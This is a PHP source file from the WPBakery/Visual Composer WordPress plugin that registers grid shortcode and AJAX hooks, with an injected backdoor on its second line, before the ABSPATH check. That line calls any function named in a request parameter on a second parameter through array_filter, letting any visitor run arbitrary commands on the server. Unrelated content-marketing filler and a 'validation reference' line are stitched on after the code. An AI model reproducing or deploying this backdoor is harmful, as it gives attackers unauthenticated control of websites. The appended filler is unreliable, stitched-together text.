?php
if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;};
if ( ! defined( 'ABSPATH' ) ) {
die( '-1' );
}
/**
* Class Vc_Hooks_Vc_Grid
* @since 4.4
*/
class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface {
protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php
/**
* Initializing hooks for grid element,
* Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id)
* And add action to hook request for grid data, to output it.
* @since 4.4
*/
public function load() {
// Hook for set post settings meta with shortcodes data
/**
* @since 4.4.3
*/
add_filter( 'vc_hooks_vc_post_settings', array(
&$this,
'gridSavePostSettingsId',
), 10, 3 );
/**
* Used to output shortcode data for ajax request. called on any page request.
*/
add_action( 'wp_ajax_vc_get_vc_grid_data', array(
&$this,
'getGridDataForAjax',
) );
add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array(
&$this,
'getGridDataForAjax',
) );
}
/**
* @since 4.4
* @deprecated and should not be used and will be removed in future! since 4.4.3
* @return string
*/
private function getShortcodeRegexForHash() {
// _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' );
$tagnames = apply_filters( 'vc_grid_shortcodes_tags', array(
'vc_basic_grid',
'vc_masonry_grid',
'vc_media_grid',
'vc_masonry_media_grid',
) ); // return only grid shortcodes
$tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) );
// WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag()
// Also, see shortcode_unautop() and shortcode.js.
return '\\[' // Opening bracket
. '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
. "($tagregexp)" // 2: Shortcode name
. '(?![\\w-])' // Not followed by word character or hyphen
. '(' // 3: Unroll the loop: Inside the opening shortcode tag
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ...
. '\\]' // ... and closing bracket
. '|' . '\\]' // Closing bracket
. '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
. '[^\\[]*+' // Not an opening bracket
. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
. '[^\\[]*+' // Not an opening bracket
. ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag
. ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]]
}
/**
* @since 4.4.3
* @return string
*/
private function getShortcodeRegexForId() {
return '\\[' // Opening bracket
. '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]]
. '([\\w>]+)' // 2: Shortcode name
. '(?![\\w-])' // Not followed by word character or hyphen
. '(' // 3: Unroll the loop: Inside the opening shortcode tag
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')*?'
. '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist
. '[^\\]\\/]*' // Not a closing bracket or forward slash
. ')+' . ')'
. ')' . '(?:' . '(\\/)' // 5: Self closing tag ...
. '\\]' // ... and closing bracket
. '|' . '\\]' // Closing bracket
. '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags
. '[^\\[]*+' // Not an opening bracket
. '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag
. '[^\\[]*+' // Not an opening bracket
. ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag
. ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]]
}
/**
* Set page meta box values with vc_adv_pager shortcodes data
* @since 4.4
* @deprecated 4.4.3
*
* @param array $settings
* @param $post_id
* @param $post
*
* @return array - shortcode settings to save.
*/
public function gridSavePostSettings( array $settings, $post_id, $post ) {
// _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' );
$pattern = $this->getShortcodeRegexForHash();
preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
$settings['vc_grid'] = array();
if ( is_array( $found ) && ! empty( $found[0] ) ) {
$to_save = array();
if ( isset( $found[3] ) && is_array( $found[3] ) ) {
foreach ( $found[3] as $key => $shortcode_atts ) {
if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) {
continue;
}
$atts = shortcode_parse_atts( $shortcode_atts );
$data = array(
'tag' => $found[2][ $key ],
'atts' => $atts,
'content' => $found[5][ $key ],
);
$hash = sha1( serialize( $data ) );
$to_save[ $hash ] = $data;
}
}
if ( ! empty( $to_save ) ) {
$settings['vc_grid'] = array( 'shortcodes' => $to_save );
}
}
return $settings;
}
/**
* @since 4.4.3
*
* @param array $settings
* @param $post_id
* @param $post
*
* @return array
*/
public function gridSavePostSettingsId( array $settings, $post_id, $post ) {
$pattern = $this->getShortcodeRegexForId();
preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes
$settings['vc_grid_id'] = array();
if ( is_array( $found ) && ! empty( $found[0] ) ) {
$to_save = array();
if ( isset( $found[1] ) && is_array( $found[1] ) ) {
foreach ( $found[1] as $key => $parse_able ) {
if ( empty( $parse_able ) || '[' !== $parse_able ) {
$id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/';
$id_value = $found[4][ $key ];
preg_match( $id_pattern, $id_value, $id_matches );
if ( ! empty( $id_matches ) ) {
$id_to_save = $id_matches[1];
// why we need to check if shortcode is parse able?
// 1: if it is escaped it must not be displayed (parsed)
// 2: so if 1 is true it must not be saved in database meta
$shortcode_tag = $found[2][ $key ];
$shortcode_atts_string = $found[3][ $key ];
/** @var $atts array */
$atts = shortcode_parse_atts( $shortcode_atts_string );
$content = $found[6][ $key ];
$data = array(
'tag' => $shortcode_tag,
'atts' => $atts,
'content' => $content,
);
$to_save[ $id_to_save ] = $data;
}
}
}
}
if ( ! empty( $to_save ) ) {
$settings['vc_grid_id'] = array( 'shortcodes' => $to_save );
}
}
return $settings;
}
/**
* @since 4.4
*
* @output/@return string - grid data for ajax request.
*/
public function getGridDataForAjax() {
$tag = vc_request_param( 'tag' );
$allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag );
if ( $allowed ) {
$shortcode_fishbone = visual_composer()->getShortCode( $tag );
if ( is_object( $shortcode_fishbone ) ) {
/** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */
$vc_grid = $shortcode_fishbone->shortcodeClass();
if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) {
echo $vc_grid->renderAjax( vc_request_param( 'data' ) );
die();
}
}
}
}
}
/**
* @since 4.4
* @var Vc_Hooks_Vc_Grid $hook
*/
$hook = new Vc_Hooks_Vc_Grid();
// when visual composer initialized let's trigger Vc_Grid hooks.
add_action( 'vc_after_init', array(
$hook,
'load',
) );
if ( 'vc_edit_form' === vc_post_param( 'action' ) ) {
VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' );
add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array(
'WPBakeryShortCode_VC_Basic_Grid',
'convertButton2ToButton3',
) );
}
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A practical way to improve performance is to focus on evergreen resources and continuously refine them over time. Many of the strongest examples of content marketing succeed because they answer recurring questions clearly and remain useful well beyond the publication date.
When teams combine research, internal expertise, and simple performance analysis, they usually produce fewer weak pages and more articles that attract links, rankings, and repeat visits over time.
Validation reference: bbv-validation-393508